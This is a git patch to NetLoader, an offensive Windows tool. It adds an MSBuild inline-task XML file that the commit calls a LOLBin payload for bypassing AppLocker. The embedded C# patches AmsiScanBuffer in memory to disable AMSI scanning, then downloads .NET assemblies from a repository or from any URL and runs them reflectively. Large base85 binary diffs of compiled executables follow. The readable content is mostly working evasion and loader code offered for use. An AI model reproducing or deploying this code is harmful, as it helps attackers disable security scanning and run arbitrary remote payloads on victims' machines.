From 36d331d294978f2347953865c851598db79caaed Mon Sep 17 00:00:00 2001 From: Flangvik Date: Wed, 6 May 2020 17:47:04 +0200 Subject: [PATCH] Removed the pre-compiled binary, if anything i would release an obfuscated one. Meanwhile compile yourself! Updated with an working MSBuild.xml LOLBin payload (Bye Bye AppLocker) Added an "0" option to exit the app (Needed when running in MSBuild) --- MSBuild.xml | 14 -- NetLoader.xml | 210 ++++++++++++++++++ NetLoader/.vs/NetLoader/v16/.suo | Bin 31744 -> 36864 bytes NetLoader/NetLoader/Program.cs | 20 +- NetLoader/NetLoader/bin/Debug/NetLoader.exe | Bin 9216 -> 0 bytes NetLoader/NetLoader/bin/Debug/NetLoader.pdb | Bin 22016 -> 0 bytes .../NetLoader.csproj.FileListAbsolute.txt | 1 - .../NetLoader.csprojAssemblyReference.cache | Bin 1733 -> 0 bytes NetLoader/NetLoader/obj/Debug/NetLoader.exe | Bin 9216 -> 9728 bytes NetLoader/NetLoader/obj/Debug/NetLoader.pdb | Bin 22016 -> 22016 bytes README.md | 13 +- 11 files changed, 235 insertions(+), 23 deletions(-) delete mode 100644 MSBuild.xml create mode 100644 NetLoader.xml delete mode 100644 NetLoader/NetLoader/bin/Debug/NetLoader.exe delete mode 100644 NetLoader/NetLoader/bin/Debug/NetLoader.pdb delete mode 100644 NetLoader/NetLoader/obj/Debug/NetLoader.csprojAssemblyReference.cache diff --git a/MSBuild.xml b/MSBuild.xml deleted file mode 100644 index 07de67c..0000000 --- a/MSBuild.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - \ No newline at end of file diff --git a/NetLoader.xml b/NetLoader.xml new file mode 100644 index 0000000..2b513bf --- /dev/null +++ b/NetLoader.xml @@ -0,0 +1,210 @@ + + + + + + + + | (,,) )__) + || / \)___)\ + | \____()___) )___ + \______(_______; ; ; __; ; ; +~Flangvik #NetLoader +"; + Console.WriteLine(bannerArt); + + + if (System.Environment.Is64BitOperatingSystem) + PatchAnnsi(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }); + else + PatchAnnsi(new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }); + + while (true) + { + try + { + ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; + + List binList = GetBins(); + + + Console.WriteLine("------------------------"); + Console.WriteLine("[0] - Exit NetLoader"); + for (int count = 0; count < binList.Count; count++) + { + Console.WriteLine("[" + (count + 1) + "] - " + binList[count]); + + if (count == binList.Count - 1) + { + Console.WriteLine("[" + (count + 2) + "] - Custom PATH or URL "); + } + } + Console.WriteLine("-----------------------"); + Console.WriteLine("[+] Select a binary (number)>"); + + int selectedBin = Convert.ToInt32(Console.ReadLine()); + + if (selectedBin == 0) { + System.Environment.Exit(1); + + } else if (selectedBin - 1 == binList.Count) + { + Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary"); + string binUrl = Console.ReadLine(); + + Console.WriteLine("[+] Provide arguments for {0} >", binUrl); + string binArgs = Console.ReadLine(); + invokeBinary("", binArgs, binUrl, false); + + + } + else if (selectedBin - 1 > binList.Count | selectedBin - 1 < 0) + { + Console.WriteLine("[!] Not a valid selection!"); + } + else + { + Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin - 1]); + string binArgs = Console.ReadLine(); + invokeBinary(binList[selectedBin - 1], binArgs); + } + + } + catch (Exception ex) + { + Console.WriteLine("[!] Something went wrong, not going to handle it.."); + Console.WriteLine("[!] {0}", ex.Message); + Console.WriteLine("[!] {0}", ex.InnerException); + } + } + } + + + + public static void invokeBinary(string binName, string arguments = "", string customUrl = "", bool gitHub = true) + { + byte[] binarySource = new byte[] { }; + + if (gitHub) + { + binarySource = webClient.DownloadData(_repURL.Replace("tree", "blob") + "/" + binName + "?raw=true"); + } + else + { + if (customUrl.StartsWith("http") && !customUrl.StartsWith("\\\\")) + { + binarySource = webClient.DownloadData(customUrl); + } + else + { + binarySource = File.ReadAllBytes(customUrl); + + } + + } + + + + System.Reflection.Assembly.Load(binarySource).EntryPoint.Invoke(0, new object[] { new string[] { arguments } }); + + } + public static List GetBins() + { + Console.WriteLine("[+] Fetching list of bins from " + _repURL); + var avBinaries = new List() { }; + var websiteSource = webClient.DownloadString(_repURL); + string pattern = @"\/[A-Za-z]{0,50}\.bin"; + + Regex rgx = new Regex(pattern, RegexOptions.IgnoreCase); + MatchCollection matches = rgx.Matches(websiteSource); + foreach (var match in matches) + { + avBinaries.Add(match.ToString().TrimStart('/')); + } + + return avBinaries; + + } + private static void PatchAnnsi(byte[] magicJuice) + { + try + { + Console.WriteLine("[+] Patching AM" + "SI ..."); + IntPtr lib = WinLibBase.LoadLibrary("am" + "si.dll"); + IntPtr addr = WinLibBase.GetProcAddress(lib, "Am" + "siSca" + "nBuffer"); + uint oldProtect = 0; + WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out oldProtect); + + Marshal.Copy(magicJuice, 0, addr, magicJuice.Length); + + Console.WriteLine("[+] Patched!"); + + } + catch (Exception ex) + { + Console.WriteLine("[!] {0}", ex.Message); + Console.WriteLine("[!] {0}", ex.InnerException); + } + } + + +} + +public class WinLibBase +{ + [DllImport("kernel32")] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32")] + public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32")] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); +} + + +public class ClassExample : Task, ITask +{ + public override bool Execute() + { + NetLoader.Main(new string[] { }); + return true; + } +} + + + + ]]> + + + + \ No newline at end of file diff --git a/NetLoader/.vs/NetLoader/v16/.suo b/NetLoader/.vs/NetLoader/v16/.suo index 43cd0f5d18ac6a1f11f6c60c3d747de9b696546d..f04087f6cf7665c36e8e1faf5be339b93fb7f270 100644 GIT binary patch delta 2058 zcmd6oUuauZ7{Kqjxv^QA+h%S4wTWGtwrl$5ZpqER+pM!$a-*|$OR7aDtYYmPB8aqh zQccAOdvFlM-tT>C9lFPn`=TJ&5fDLS2%@ij@egA!!&X$J_4{sfmlRwP3*v#_J?DJi zx%Yhk&bj5^SowYa-N=KS*_<5r0FD{5y|c4JVy52}+S%%}*ED{LNzlt55pOJPFMihd z9gCoP9bV&0Y!bHk0;nAkShCF6@J*w^H|~CR8n!HhB7T@N#oMdXUgm|ng1>9DNqnqn zd>pl@m+UC%M#w%189^RGWF&^fkpz-NQiy_#A!+0UauT6U$(0ElXOL4!7Rezhl1Cm! z(5Rmp9+n^f^+oc~g_?$kXQ9SN|JK8nBeREa={*l|&|06jVc&t+5C_tU(7JZ)4{J%Yg*(d@$N%!X$FQ_A21(<}1S#PF&O)2E27?#A#)^RIJpx53BPWzqzW>0?H3V(D? zIw(4Wd+c!)L}o$BP_uN?HDjZoHq3Tcsy>xDsIVyV4MkT)bEyaUu6DErxudfX9Nf?b zoZysoqck?<8Jn3y3aBpKK$AVLLskd8MP~R!A z7Lh8L4xfd)##Al*A>4SX2%(bS@;OZx&aAAIvT`b-L{d3PRdPuwK9^5WE|04M};k{Cu y;ih3@{XzdJ`UM=!O;``Td6*mb-1$_0>*p7$eP1NLzWuR;xjPOU?%+Rxaeo2PhRTls delta 1734 zcmb_cUr3Wt6yN=}>9@~sI-R=dwsbh>ntxcL=0o7WX)2?U&M?xLkzf%-Hp8~a89pQp z(eJzpg)ik}`<{9ULx^6Ydg&=BXi|hPfkH;K&e@+ftthkuzwh3A&b{ZH-?`_0;d@;8 z3tMzqI7Lcy3WW-%4Dmf4kCRpjpZVH{{@YCAJgfn%T!r@C;(PyU)oWHvcDT-k*m2nA zyrL49bqG8ehgSw01e89$K1;#6U|U%;l!q!KfF3@x2VMkIlJN( zd10M90$W8so|=#HO?HevBAL4qwtzXYN8N(<80?t)lUhq8TI^;bm6ytyIav~ko(ePQ z2%f1PL_<>ewQD$`#-z_v=9yvJ1^E^+&tA zy6c-dC3~uPcCVIEYaT|VQBiuaM2(de(D??0j zhBXe{M?VA(=A9<$6@~o3In2PtsSZYM_HSfX>bQU4Q;vM--4hp*MBTT_eSG?bkwU6f z!L(^!W)1OQcuGTI7K7QLpn4qLxK|oE$&svLxK<@kJ3K7$o~RB#{fC_@o?bM`-nx;$ z4+(!0Xmv*~G9BD)T7~64UXJ#97`q_H`&h0(4^NLfI0ZcRb*3tRi>^ko|CT8<{?Z{Y zLuD`%G(da53RDY|1(|L+Sg8GUr(2}oQufWrfwK_?t^N6s@0|Q?vzK{svjo} KnB+GD8|(*-)jK-? diff --git a/NetLoader/NetLoader/Program.cs b/NetLoader/NetLoader/Program.cs index e5f40d4..0a1c21a 100644 --- a/NetLoader/NetLoader/Program.cs +++ b/NetLoader/NetLoader/Program.cs @@ -47,6 +47,7 @@ public class NetLoader Console.WriteLine("------------------------"); + Console.WriteLine("[0] - Exit NetLoader"); for (int count = 0; count < binList.Count; count++) { Console.WriteLine("[" + (count + 1) + "] - " + binList[count]); @@ -59,8 +60,12 @@ public class NetLoader Console.WriteLine("-----------------------"); Console.WriteLine("[+] Select a binary (number)>"); - int selectedBin = Convert.ToInt32(Console.ReadLine()) - 1; - if (selectedBin == binList.Count) + int selectedBin = Convert.ToInt32(Console.ReadLine()); + + if (selectedBin == 0) { + System.Environment.Exit(1); + + } else if (selectedBin - 1 == binList.Count) { Console.WriteLine("[+] Input your own URL / Local Path / direct link to binary"); string binUrl = Console.ReadLine(); @@ -71,15 +76,15 @@ public class NetLoader } - else if (selectedBin > binList.Count | selectedBin < 0) + else if (selectedBin - 1 > binList.Count | selectedBin - 1 < 0) { Console.WriteLine("[!] Not a valid selection!"); } else { - Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin]); + Console.WriteLine("[+] Provide arguments for {0} >", binList[selectedBin - 1]); string binArgs = Console.ReadLine(); - invokeBinary(binList[selectedBin], binArgs); + invokeBinary(binList[selectedBin - 1], binArgs); } } @@ -145,12 +150,13 @@ public class NetLoader Console.WriteLine("[+] Patching AM" + "SI ..."); IntPtr lib = WinLibBase.LoadLibrary("am" + "si.dll"); IntPtr addr = WinLibBase.GetProcAddress(lib, "Am" + "siSca" + "nBuffer"); - - WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out var oldProtect); + uint oldProtect = 0; + WinLibBase.VirtualProtect(addr, (UIntPtr)magicJuice.Length, 0x40, out oldProtect); Marshal.Copy(magicJuice, 0, addr, magicJuice.Length); Console.WriteLine("[+] Patched!"); + } catch (Exception ex) { diff --git a/NetLoader/NetLoader/bin/Debug/NetLoader.exe b/NetLoader/NetLoader/bin/Debug/NetLoader.exe deleted file mode 100644 index 668bbad808d9c8c1d4cb12c6de4d435f591da4e0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9216 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 diff --git a/NetLoader/NetLoader/bin/Debug/NetLoader.pdb b/NetLoader/NetLoader/bin/Debug/NetLoader.pdb deleted file mode 100644 index 08e8fbd0b0fb052fef0a4198f124c73c26a275ac..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 22016 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 diff --git a/NetLoader/NetLoader/obj/Debug/NetLoader.exe b/NetLoader/NetLoader/obj/Debug/NetLoader.exe index 668bbad808d9c8c1d4cb12c6de4d435f591da4e0..93308501d9528441dfb0af32d2ed5e3a74b53392 100644 GIT binary patch delta 1958 zcmY*aYitx%6#nkK_SG((9lG1nmhNs#ciLUbwzRP>kW?wy0v4pu@DLT1r|94mlmzWA zG@(G`(OiQNl~98z#qg12@(?`N)!z#L`_s;sQCC{iLK|(wgo4-=brQ3d%kn# zo^xk1&6x!UcSoax51+&6a~)CmSQ02Ez?}uFQ#~iz+4r2WnA&_V(7+>7f-h$=Z_^~& z5vEbh_p&&f%-?4*R?Y`lH0)1hottTrpyK0lVE06TkxfJ6ry@zdNK&ML#M`A-c9y>> zMW)z$C2ThH055`u5?>GdGy%F2T4tyL)g*tf{UN_DRT){l;4b`AULwcRe~c5@QF)BZ zEF?#hlJ(|#g2T*k>+XafA+tyXLPHjEO*$Jd z98SY$2NlA6x;JP_^jc{kzVZ&2L~3wYdCbVsa}pC^7trSH>mgnThtEx0tbAg;n>KeG z)pMN)A%~sv9H=+^uv^D@?9(E?-zv#6)KO+*(ByGa3;-cxLPKhJWCXZR)RvwHX>?O9 zF7u^Ia??5Du`iOaO3BZ@LYib>C20o9w!$R5h|hvz|1LH~$WG)b_RyF?=Nf0h9CsoQ zokXfAV=f*jX4LV9W|j%Aa(+uGNlziQqN*sVp_dYo0Ub6q%H~cwN5!n5)$B=i#DufM z=`2|$**?3Gw&u7)9hGF|dR$f&&4vP9vEo8gi(1}0_2NKKSGQ6ZFvF$05^mjP)$r45dHMy)P!Soz-b8V;iP?vRN|!|Q zYW4}CyGZv1b6nE?4I9l`Vk~V8NT!F-3MnX1bGnFUe?HEEfmm*~V4krOj#bcOjTf+i z>W(T#_d;Brwk3!eq(mjNPS91gchu9I5vOkdK-3v=f>mOfAJ8gieMy;@bpkV0;5Ci( zwk`ICXV!HHwktkhnZTB|AsGNfh_VNkwlvY)NOm*-Tbse^d5!B;V?_N?)o?%jOv6H@ zK=I;He$7>B7+Qg%!Ip*Grv5_G;zjPV+*SvFp8X6BTlsvqmG)@mOvg2tY&tuNI7x^=AuYqS|)?5aE)I(tu^ zhaB9Nm!OcHP*;$i(jIs8wYY>g*wcux#dwx{ht%f?d53Ms5zJxpNX}Ju(9T-64|{M6 zob>>7U+9AC}0mR$vL7)6BU5j4jD#?)g6W#__Zr~J3 zwL$EFNUM-FX@AoGYW5G|?b-;=;0B$_a&}YovDK_o%VRr6*#xH_x%Aq8(ZlpX&PSA0 z!-usb4OlE)jUwzPqYST*jH8d_bVtr`8?c46R;;0U z0W7S>lcd}IzfJ6u8-^~oeRaV7a#L4q@<*S-QHAsZui4uSW-2Ptx@tm_tlH delta 1827 zcmZ8i3v3is6g_u#X7<;XP6u|kAKLA1=}x;#+43s{iF)>K7=<)jD#S8eMK*OF2;F0kFvCX$GnoH7RiJ~f3NGw+tkq~by zyf+keZul2GGFj~E1&1V`Dct;oLs=- z_XvbrbNxO$%xs8EpW#c*gfrbUy2PDl`kiB}7=Ei*x*662&aYAn82*r@aLz!oWz>=4 z4-KhpX3z+x#%17KA9IIf8m=#&-<}{dxXWSAh-T!tp2H(vF*w7_g;Sx9rsQmAYUJ7_ zW9vtiiDL=|fv}lZw`%B)c?WZNs=OBR{RHpt5wS^4XI^JF&LIZ7l-D`OnJLZ(j8=$k zyNn@#Xaa<^c>i7dSvS@2F}`;?d#CbyhMBxMAEOJHd9)32Era z@r64rwsQSmyNaKt3PZK4CDW2shGr)v)u9`@onjj9<1x;lY|5K?uqp zpBW4p+B)tBGQEa35<&aJm^(+wXe2n z*oNSI7wiZx9- ztX|$Zou56j5YET!yhrX}wHy|o=vA}7=FH>Wd^|N^ANOj!<$0%l?K7Ry+u0z%6+nDh z3s3;a5b^oT8t3vepY6G#+&hb=izmHrm^ZbbG#w4dBOQy?h#J5O5%g7=d3r?E;dmr& z(5^DB7V~}a+(uVlPgnSWbcppnJEQ8QWZ(zHXd3OuBu0WoOQIYMdr_vQ*ly!ikyf`p zl@yHU_K{YtHj|^CcdabG^fa)whC2w@5;?#Ty;$d3*~mNU0^&OG)q}m!UajdrD-_+K zFC{L>$lz)1Q3_y(=<*L_YVjSn@jbYPHhm_DE_xbZ(1)Hz$2J`HoZ|y=K)t{i)&_9|LcNUlQKVnPCdh;e=|258o?k1wA0V!HJm?szDHKj3(L{i?Nk4jx1vmZ!u1Dah8h@xcb95%zBHfJnrIC zIK|3yxXRdxzi2bMFk2z{(c`ao5$|$8Zlh6tU}zkAHSR*L@eZAVj}cC@aGpQ;9$c&! zCxVsbCJng-P+c4blOnFE$wStEBY0aAw~YNBytqt!T2R_QP|&XQH%&O?;fAbS*!%rA zr6-%-yHqpqlJe@0uM`&LhP>nQlnDiml;`vLgjKkxzpL;Z@i8v@HgZNr;PZeLd`CHv zs90GX&)@A=c5cYtyLj`7%->$`(_6%z;&}xJM}AFm$w|qh+47Kbyk4j!tNZgxZ)(cf N`hKJ0cgm){{{k0zJI??B diff --git a/NetLoader/NetLoader/obj/Debug/NetLoader.pdb b/NetLoader/NetLoader/obj/Debug/NetLoader.pdb index 08e8fbd0b0fb052fef0a4198f124c73c26a275ac..0d4a482ffdb6f817f2d570490d8c9c375d148c85 100644 GIT binary patch delta 1779 zcmbu=TWnNC7{Kvw&UQC!={9T$y=;MY>9({5q{yWdsL(2wYLto~D%Ylf6m$!1K`zBT zv`{XBNJa&TBFHs{gv&++1ViG3k!aLlEGinq3qF)K8sm$C{=e;FeD^fFznO1l=gc|t z&D1?*+*9Vv3}1ewG{xkL-kt%g{;2+B-_-9;H+pWLdhgizvy0n3!&0vmoUPh#&h3epO}Hp=62H& zGFz{jj?cu|(&BVnaXJS$oh@eDXtV9Iv%SXb*l%`@b=sr!cf=oI=_}8a+vx> zdpZ10`WYgx5-B0#_t+J~I_E@u+FhirkHj}UeDmm<7__dwwPATxG}_Xb7_^(l8{WSD z_xk9~@`)Yg^8_Qzx6=z60vfr_XE>45_Wgoo8D7&qDDlMiC7*b^9TmwkU3Pk;CX~hv z^)mcrB-d@K20Zq7q&c>R(pV999rpCzbvGbuR3RMJhP&*Du)`wy>@j`qEMme`G{tWKI7jZW-p+r0PO7!0^V*f1m`}fdxkl0=uD0wn=ol@W4Gym?}0mMG%qnD+( z&iHj?@#GEE*SHU}kx|_UzKObm2T*7J7LuaEom}0=hmg$D1H>h>wrS;34ypR)^?FE^1o@R* zv8&6na`d<||2f0%wYJ&AWm%@%UMS1W(bLCB*@QB^*#4PPm>8kh-lk7++&gBGH+7d! z2W2<qA z>eU?&PCMZw|EE-+{6C}D*7&kFT^q0aOBRIF+#z94?e31*Gi!SzhvI|l20ME1S)Y3T E0n;yVw*UYD delta 1724 zcmbu=eN5D40KoC*`N5rX^I%8wfP)0$5Fx5V8z%+?^n#>K5)ievOu*MVLJ1Jc`|%=R 